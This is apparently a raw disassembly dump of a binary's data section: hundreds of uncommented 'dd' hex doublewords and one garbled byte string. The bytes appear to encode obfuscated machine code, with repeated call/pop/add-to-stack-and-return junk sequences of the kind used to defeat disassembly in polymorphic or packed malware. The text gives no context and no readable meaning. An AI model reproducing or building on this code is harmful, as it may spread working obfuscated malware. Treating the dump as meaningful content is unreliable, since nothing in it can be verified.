		dd 0B5895B84h, 60727F5h, 0AE73B966h, 8D8BC08Bh,	607025Dh
		dd 88BE8h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 804A82E2h, 882E8BFh, 5E18589h, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 67D726C3h, 0B2C23DCBh, 0E8D0D137h, 838h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 48C35343h, 65B9ECCAh
		dd 744A3E28h, 1B418531h, 85890607h, 6071559h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B3C35242h, 0E5E8C685h
		dd 6A000007h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 43A7C352h, 0DDF04C19h,	27598589h
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0EE01ECC3h, 91FD8765h, 13E88D35h,	8D000000h
		dd 0D96B3666h, 323E60AFh, 537B966Dh, 17810597h,	8C0F3962h
		dd 5, 0E2EF8166h, 71E85FE2h, 0BF000007h, 0FDFA498h, 3198589h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 1ED1BDC3h, 0A6A51C86h, 7E9h, 99B7900h, 5B3892CEh
		dd 5D78E9BEh, 72EE846h,	85290000h, 6072F3Dh, 312D8589h
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 6D2728C3h, 5D56EC79h, 0F11CBE52h,	0E8597FB2h
		dd 6F4h, 184DB589h, 85890607h, 60713D5h, 0EE9h,	0AE6B6D00h
		dd 0C5AE8610h, 0A21538FCh, 0E8B674A7h, 6D0h, 85895953h
		dd 6070B09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	7AC35747h, 746DD8C6h, 60546464h, 2E85B58Bh, 0F9600607h
		dd 95E86161h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 7AE8C352h, 8509642Bh
		dd 6070389h, 26D8589h, 6A0607h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 9A6D4EC3h, 0E863B9C2h
		dd 12h,	20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 88A2BC60h, 0BF665DA8h
		dd 8B59186Eh, 706E1B5h,	622E806h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0AEC827C3h
		dd 92BD1157h, 3DBD8945h, 8906070Fh, 7128D85h, 0F28B6606h
		dd 5EBE8h, 91B58B00h, 89060728h, 7214D85h, 0EDBD0306h
		dd 0E8060705h, 5D4h, 5DCE2BBEh,	0D5858965h, 6A060719h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D7AC356h, 7289E569h, 8BA01365h, 59EE8F1h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 2201D8C3h, 8316534Ch, 4E19D89h, 8F0F0607h
		dd 1, 0D8589F9h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 9C0C355h, 70A6DBDh
		dd 542E806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5592EDC3h, 0B2827FDh, 7011D8Dh
		dd 8589F506h, 607045Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 19C35747h, 6691CD40h,	0E8A0D9B9h, 4ECh
		dd 19598D03h, 85890607h, 6071A49h, 4DBE8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 27D585E0h, 0E89007B0h, 5E9h,	65C31400h, 8166B25Ah, 89197FEEh
		dd 70CDD85h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0FB3CA8D1h, 391C5A47h, 28ADBD33h
		dd 75E80607h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0E6B6C350h,	8D19A2DFh
		dd 66A2F237h, 0A56DD681h, 54D8589h, 0DF810607h,	71AF65DDh
		dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 68BBA6C3h, 0BE820E1Fh, 0BE398DB3h, 710C49F4h
		dd 0BADB529h, 0B60F0607h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D3E5DBEDh
		dd 0D78166EEh, 6BA82BBh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8D33C353h
		dd 4B4B64B9h, 498D31E0h, 8B06072Fh, 53006AC3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 20717DD9h
		dd 16398D8Bh, 0E8C10607h, 0E2F76604h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0D2C35545h,	0D82B8873h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h, 65BE04F7h
		dd 0F78F8D6h, 5093F3BFh, 0EDFFBA60h, 9E85ADAh, 9A000000h
		dd 71F3DB33h, 0AF645D5Eh, 61585E56h, 0FFF88B93h, 7186195h
		dd 92BA6006h, 291360E4h
		dd 7277185h, 295B6106h,	72E8595h, 4D958D06h, 6A060729h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 8A6BC353h, 0E0D1E736h, 850F7BD3h,	3, 89F3B70Fh
		dd 57006A1Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 6272341Ch, 2C55BD8Bh, 42890607h,	56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B966DD3Ah, 8B6638E5h, 69958DF9h, 6A060713h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 66B0C351h, 1A89F28Bh, 0B860Fh, 860F0000h, 5,	7AE18166h
		dd 44289BAh, 0AE8h, 0FD1F6D00h,	0F7543B39h, 0FA079E9h
		dd 185h, 8D5EFC00h, 7329995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FC644CEDh
		dd 8349EFA9h, 1685BD8Bh, 1A890607h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0FFC35646h,	0BEC5603Ch, 0F1B58B60h
		dd 8B06071Ah, 71589BDh,	42896106h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 619E5414h
		dd 377A5C85h, 85099C89h, 60706E5h, 31B9958Dh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 89ECBAC3h, 0E0E37E4Bh, 1A89C0F5h, 23E78166h,	44289A7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CFC35545h
		dd 0F6ADE321h, 1BF5DD1Eh, 0BDB58B97h, 8D06070Bh, 71FAD95h
		dd 7D8D0306h, 89060714h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E59BD561h, 0E9BD8B93h
		dd 66060723h, 4289F98Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C23B9FE4h, 60A2E4D0h
		dd 0B780E781h, 0A2B10F58h, 2DBD958Dh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 967E34C3h, 6A1A89F5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 62D4C357h, 25B58BC8h
		dd 8B060701h, 71D69BDh,	4428906h, 0DBC18166h, 49958D01h
		dd 0E9060727h, 0Dh, 0E5BFB390h,	6732E88Fh, 0B369137Ch
		dd 6A1A89A6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8A52C350h, 7B0FA517h, 68B0Fh
		dd 8D8B0000h, 60704C1h,	8B044289h, 70CB1BDh, 21958D06h
		dd 89060706h, 70B3DB5h,	0F9BF0F06h, 95891A89h, 6073081h
		dd 6A044289h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 4045C351h, 0A043A039h,	0ABE96Dh
		dd 56B10000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 635580C3h, 6ACFBF0Fh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 99D8903h, 6A06071Ah,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 16779207h, 0BFD852DFh
		dd 42C389B3h, 0FFFC006Ah, 71D2195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 1DBD8BF9h
		dd 29060728h, 727F5B5h,	618D2B06h, 0C3060715h, 6AC58AF9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 653FC355h, 5AE2E95Eh, 7E9C6E9h, 6000000h
		dd 738EEEAh, 0C08B82A8h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 26C35242h, 0A965AC1h,	85015124h, 6071C25h
		dd 11BD835Fh, 60702h, 0BD830975h, 6070D65h, 50197400h
		dd 0B8C08B53h, 438h, 23A98589h,	9D8D0607h, 609AB0Fh, 585BD3FFh
		dd 0D65BD83h, 74000607h, 0B8535017h, 438h, 23A98589h, 9D8D0607h
		dd 609A7B0h, 585BD3FFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 40C35343h, 0B2545810h, 25853150h, 5F06070Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8BC35343h
		dd 0A8E6F944h, 3B44BD7Bh, 7E9B1h, 88880000h, 0C66E2EEEh
		dd 8DC08B74h, 72C6185h,	9858906h, 50060700h, 0D6E0BB66h
		dd 8B240489h, 70EA5BDh,	0CF816606h, 6A9739h, 0C84BA1BBh
		dd 0CCDF8124h, 6A60AF73h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0DFC9A0FFh
		dd 0A50DFE6Fh, 9D31534Dh, 6071889h, 0A5858D5Bh,	6A060B2Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 924C350h,	72F1D85h, 5C08306h, 905FEB80h
		dd 5050DA8Bh, 0FABB752h, 8389BB31h, 585A688Bh, 88D8BF90h
		dd 6A5B1Fh, 1ACDBD29h, 6A0607h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 45C35141h, 599F121Ch, 0B12EEB81h
		dd 95FF111Bh, 6071335h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0D0C35141h, 14DB8166h, 9D8D8D2Fh, 6A060A93h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 769FC356h, 111D3C4Ah, 66D1FFF9h, 8387D7BFh
		dd 732B1BDh, 850F0106h,	76h, 0D19BD8Bh,	26A0607h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EFC35646h, 490A8DEAh
		dd 505BF857h, 489F88Bh,	0FFF88B24h, 7028595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 782CD5C8h, 35B62B3Ch, 0EE90Ch, 0DBBF0000h, 585FBA6Fh
		dd 7A6F1B2Dh, 0AA6E4A78h, 355BD8Bh, 65E90607h, 0E800000Dh
		dd 0
		dd 0AFED815Dh, 6A060B2Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0AA89C356h,	7AF4CAA0h
		dd 0EB81719Fh, 3C21C811h, 0CFC9BF66h, 4870Fh, 0BB660000h
		dd 858DE47Ch, 60A8603h,	10858589h, 0BF0F0607h, 0F5250FFh
		dd 28Fh, 5B5F5300h, 64240489h, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 95395C3h, 1A097F96h,	8F0F2937h, 3, 64D9B70Fh, 2589h
		dd 0BD8B0000h, 60700B9h, 2C8985FFh, 80520607h, 6A5B2ADBh
		dd 39D380FFh, 5E1B5FFh,	95890607h, 6070F65h, 213D95FFh
		dd 0DE90607h, 89000001h, 721518Dh, 0F00B006h, 148Fh, 0FE900h
		dd 0F9610000h, 3FD32499h, 0ECE105B7h, 110B099Eh, 0BF70E609h
		dd 41C82DF7h, 860F71E4h, 6, 0EB58D89h, 613C0607h, 0CE830Fh
		dd 85890000h, 6071AE5h,	8BC8B60Fh, 704599Dh, 6BA06h, 0C18B0000h
		dd 0C117D380h, 0AE904E8h, 0E4000000h, 35906A21h, 0E92941C6h
		dd 0E2F7660Bh, 26B0BF66h, 0BF57C82Bh, 4AB7E1Ah,	598D015Fh
		dd 8B060705h, 0E989B3D1h, 6, 2D259D8Bh,	858B0607h, 607294Dh
		dd 26818509h, 0C0830607h, 0DF8B6607h, 8B00C083h, 71A699Dh
		dd 0FD03B06h, 1583h, 0FFE8B00h,	681h, 0D99D8B00h, 0E9060732h
		dd 48h,	8D8BF88Bh, 6071C91h, 0D2B70F60h, 1A699589h, 83610607h
		dd 840F01E1h, 2Ch, 4430D381h, 0A5830AD5h, 6071C91h, 0AE9FEh
		dd 195D0000h, 61B42056h, 0FDEDA0C3h, 294D9589h,	66BF0607h
		dd 0E923834Ch, 0
		dd 0B837B58Dh, 8B66060Ah, 89006AFAh, 70DE585h, 6995FF06h
		dd 6A06071Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0E92DC351h, 68E0F97h, 89000000h
		dd 72D85B5h, 6FBB906h, 0EE80000h, 7000000h, 0A3439183h
		dd 521A62BEh, 0D7734F85h, 0E1835B4Ah, 0E9B589FCh, 0FC06070Ah
		dd 12E19589h, 0B80607h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 4A8C355h
		dd 0BAFB8B66h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6C35141h
		dd 66619281h, 33ADFB8Bh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 2A6A8C3h, 7D8D0998h,	50060703h, 0DE9h, 0AA450E00h, 1E6D034h
		dd 1DDA2920h, 0D5F7DEFh, 88h, 48B0Fh, 0BF660000h, 958BCAE2h
		dd 6070A01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	90C35343h, 58576FAEh, 8B9BC0B5h, 714A58Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0B9CFAD92h, 1D8C9BB6h, 0BB6633A1h, 50F53D71h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 2D8D2907h
		dd 0F06070Ch, 0BD83FBBFh, 6072FF9h, 0A7840F00h,	89000000h
		dd 716958Dh, 0E6F78106h, 0B83D59B2h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C0C35141h
		dd 0FFFBBB66h, 14E9h, 7240B800h, 0C9753296h, 5F1B3DDAh
		dd 0FE9B5F3h, 0A1959FFh, 4A8D8D5Dh, 6A06074Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0FA9DC352h, 2978947Dh, 715A99Dh, 68D0F06h, 31000000h
		dd 7058195h, 6AE1FF06h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0D93AC351h,	0BB662378h
		dd 0BD83408Ch, 6072FD5h, 79840F00h, 83000004h, 72FD5BDh
		dd 840F0106h, 487h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 20C35242h, 26BD7DEDh,	0FBC3819Fh, 8373B0A4h
		dd 72FD5BDh, 860F0306h,	41Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 26C35040h, 0DB50E87Dh, 0A8461B3Eh
		dd 0BD8D895Bh, 60060711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F2C35343h, 1EBCDC7Dh, 1440BB66h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 3505C357h, 1277FE19h, 0E1808198h,	8870F04h
		dd 60000000h, 2FD98D89h, 0A610607h, 6E840FC9h, 66000001h
		dd 0E922DF81h, 0EF1858Bh, 0B1600607h, 14E996h, 0D0170000h
		dd 0E65B8723h, 0CBEDCEEAh, 44C8DD43h, 0C26DE6E4h, 33619C02h
		dd 7156985h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0CB8037D9h, 0F609045h, 0F8Dh, 9E800h
		dd 8DBE0000h, 0FA475B96h, 589E56DFh, 0D7B927BBh, 0BF50611Bh
		dd 5EF25939h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9E89D48h,	53000000h, 0B216101Eh
		dd 0C68B2923h, 205B501h, 6A5F0607h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0E44856B1h
		dd 0CF8157DAh, 3A5D5452h, 1D6A685Bh, 0B756FB4Dh, 4815F10h
		dd 0D1E69524h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 8749BB4Dh, 29A74D11h
		dd 56195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 58150EC3h, 0E9602463h, 5, 1E4C7FB3h
		dd 91BD89DBh, 61060705h, 0A2918589h, 0DB80060Ah, 1BEE971h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 6D89F6C3h, 0BF669D9Bh, 0CB8004A8h, 89858BC5h
		dd 66060AA2h, 0C7DE8Bh,	18h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D5C35747h,	0D19BB7BFh, 8DB58B14h
		dd 6A060AA2h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3579C352h, 8BCB8DE5h, 711519Dh
		dd 7D858B06h, 6A06071Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 5E08C356h, 15F99D8Bh
		dd 0FE8B0607h, 858B0689h, 6070EF1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0E2C35242h,	80413BB4h, 46898DDFh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 5350D1C0h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0BC35747h, 0EF26CDBFh, 31146E4Ch
		dd 73125B5h, 89B5FF06h,	56060AA2h, 0CC685FF9h, 8A597B51h
		dd 243481DDh, 59645233h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 54C35242h, 858D3556h,	60AA291h, 1E69BD8Bh
		dd 0BF900607h, 7CE2C4A0h, 14E99050h, 78000000h,	0A2A307C9h
		dd 0E087A2B5h, 0F2CB269h, 7A8CA218h, 0FFC0D1C7h, 7056195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8957009Bh, 719C99Dh, 6E906h, 0BB260000h
		dd 7A4EEEE8h, 0B8BF6661h, 0D585C7CCh, 306072Fh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 66BDC355h, 0F9CA4FE6h, 8950DA3Ch,	702B9B5h
		dd 83F95F06h, 0AA291BDh, 840F0006h, 41h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0C6C35141h, 3D063FDCh
		dd 0B6121DEFh, 5318529h, 0DA8B0607h, 2BE9h, 0E9535700h
		dd 7, 50F47834h, 5FE715F7h, 0C30505Bh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0A521F781h, 0BD837779h, 6072FD5h
		dd 37850F03h, 83000004h, 0AA291BDh, 840F0006h, 42Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5FC35646h, 6EF7A30Ah
		dd 0B5FF468Dh, 60AA291h, 0CEC78166h, 4195FF87h,	8B060716h
		dd 73029BDh, 85B58B06h,	66060AA2h, 9C82C381h, 106C7h, 6A0001h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0A62FC6C3h, 0E9D3862Fh, 0Ch,	906DDC5Ch, 0B463A8FEh
		dd 3D370EFAh, 0BF665696h, 505BD327h, 9E8h, 0FD44FF00h
		dd 99345900h, 965BFE89h, 2E82BF66h, 0A291B5FFh,	11E9060Ah
		dd 5B000000h, 0C2C4B495h, 50A51B3h, 755D8986h, 0B126B7CAh
		dd 1DE195FFh, 9D8B0607h, 60719FDh, 0A285B58Bh, 0F6BF060Ah
		dd 8B30ECDEh, 720A585h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E87062ACh, 12h, 0BFA507ABh
		dd 91256367h, 0E0Dh, 0C5F66202h, 5BF9AFF4h, 0C48689h, 0EB810000h
		dd 47091DE0h, 1BA9BD33h, 958B0607h, 6070A01h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 29C35242h, 0F0E4EE1Eh
		dd 58A0Fh, 81660000h, 832461DBh, 6A04C2h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 1746A0C3h
		dd 41014BFh, 0C58D0172h, 89060726h, 6A2050h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B47B31C3h
		dd 2B305DD2h, 0B5BC858Dh, 0BD8B060Ah, 6070AC1h,	0B88689h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 535E4FC3h, 6E8F388h, 0F7000000h, 835F6BBCh
		dd 5FDF8B69h, 58536050h, 61D8BF0Fh, 6A006A5Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 22D9C355h, 889FFBB4h, 0FF256E1Fh, 0AA291B5h,	0CB816606h
		dd 95FF4FC8h, 6070285h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0C4C35040h, 0F3FC185h, 681h, 9958900h
		dd 50060704h, 14E9h, 0BD0D0600h, 0CEAF47B6h, 0B6773258h
		dd 0E521F919h, 0ED8A5031h, 2434890Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F9C35646h,	740C2E5Ch, 0B5FFC005h
		dd 60AA291h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A9C35040h
		dd 89DDA422h, 723D59Dh,	55BD8B06h, 66060715h, 95FFDF8Bh
		dd 6071155h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	9CC35141h, 0E1045C2Fh, 80EE903Dh, 0BD83A4DBh, 60706DDh
		dd 61840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 7DC5C352h, 7BEE7F05h
		dd 8166304Bh, 9659DBF7h, 13E852h, 95610000h, 0A0AF9972h
		dd 84649459h, 890ACD5Bh, 3A4A3C09h, 0F52503Eh, 5B585A31h
		dd 0DDB7505Fh, 0EE996h,	2BE00000h, 7BFAAB2Ah, 0C10EDCE7h
		dd 24ABDCF2h, 0A291B5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 95FF61C3h, 6071BF1h
		dd 91B5FFF8h, 0B060AA2h, 718399Dh, 0F595FF06h, 6A06071Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 8E50C355h, 0DC68C263h, 0BD83C439h, 60719F5h
		dd 5D840F02h, 81000000h, 9027B6CBh, 29858B21h, 6A06071Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1454C353h, 0C68F3E67h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 4FB7B9C3h
		dd 4B546F15h, 1DFD9D23h, 0BD890607h, 6070111h, 0D0985C7h
		dd 607h, 8A510000h, 7CE95FF9h, 66FFFFF3h, 6430D781h, 6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 6DD7FCC3h, 6AECED29h, 1C9DBD89h, 0BD8B0607h,	6070EA5h
		dd 2C61858Dh, 85890607h, 6072D41h, 50FE8B90h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0E5095046h, 6DEF4D69h, 6A40DB80h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 61A4B608h
		dd 81523C13h, 453696CBh, 6A5B00h, 858DDA8Bh, 60B3BF8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h
		dd 37951452h, 83180B0Ah, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0D4F58CC3h, 5EA12E2Bh
		dd 50C0368Dh, 1C5C70BBh, 2404893Fh, 162D9D03h, 6A0607h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E4C35141h
		dd 8D8B60D1h, 6071695h,	0A114BE66h, 810F61h, 6A000000h
		dd 41BD8B00h, 0FF06070Bh, 7133595h, 0C38B6006h,	61FFEF80h
		dd 5F17B756h, 939D8D8Dh, 0B589060Ah, 60702C1h, 9E9h, 0A2848D00h
		dd 3138EC0h, 0D1FFA24Ch, 23B381BBh, 0B1BD8313h,	1060732h
		dd 0AB850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0F36D51C3h, 0C4CD4543h, 28D0Fh
		dd 0A3B30000h, 6A026Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 8C6340C3h, 79F76425h, 79BD0136h
		dd 23060723h, 713D19Dh,	8B665006h, 240489DAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 3C35040h, 0E9D26898h
		dd 0E585890Eh, 0FF060715h, 7028595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F0AE943h
		dd 0E80000h, 5D000000h,	3C02ED81h, 0BD89060Bh, 6073245h
		dd 0CA816660h, 0FE8C135h, 19000000h, 44025A95h,	2E7C34D6h
		dd 2247D36Ch, 8531E5E2h, 6070D0Dh, 10E96159h, 93000000h
		dd 0CE03758Ch, 27B90E24h, 9FAE40A4h, 8DF1D905h,	0A860385h
		dd 0BF665006h, 48942C0h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 625DE451h, 0C37C37F7h
		dd 0BBF38166h, 35FF64D1h, 0
aLDi		db '‹ßd‰%',0
		align 4
		dd 8985FF00h, 0F906072Ch, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 86A945C3h, 59B5FF25h
		dd 6A060715h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 230FC357h, 0CA325DF4h,	9D85D8EEh
		dd 213D95FFh, 54E90607h, 9000001h, 72EED85h, 2900B006h
		dd 7131D9Dh, 0DE906h, 0C60B0000h, 0BDF6AA4Fh, 0AAEEEC51h
		dd 0E67B2BAFh, 51BD8970h, 0E4060702h, 4DB58971h, 3C06071Bh
		dd 1C830F61h, 89000001h, 73301BDh, 0FEDB706h, 6BAC8B6h
		dd 0F000000h, 188Fh, 12E800h, 0FE7A0000h, 0F343E152h, 0BAAE7559h
		dd 823C8108h, 25884514h, 29C18B5Bh, 71A1DBDh, 8D958906h
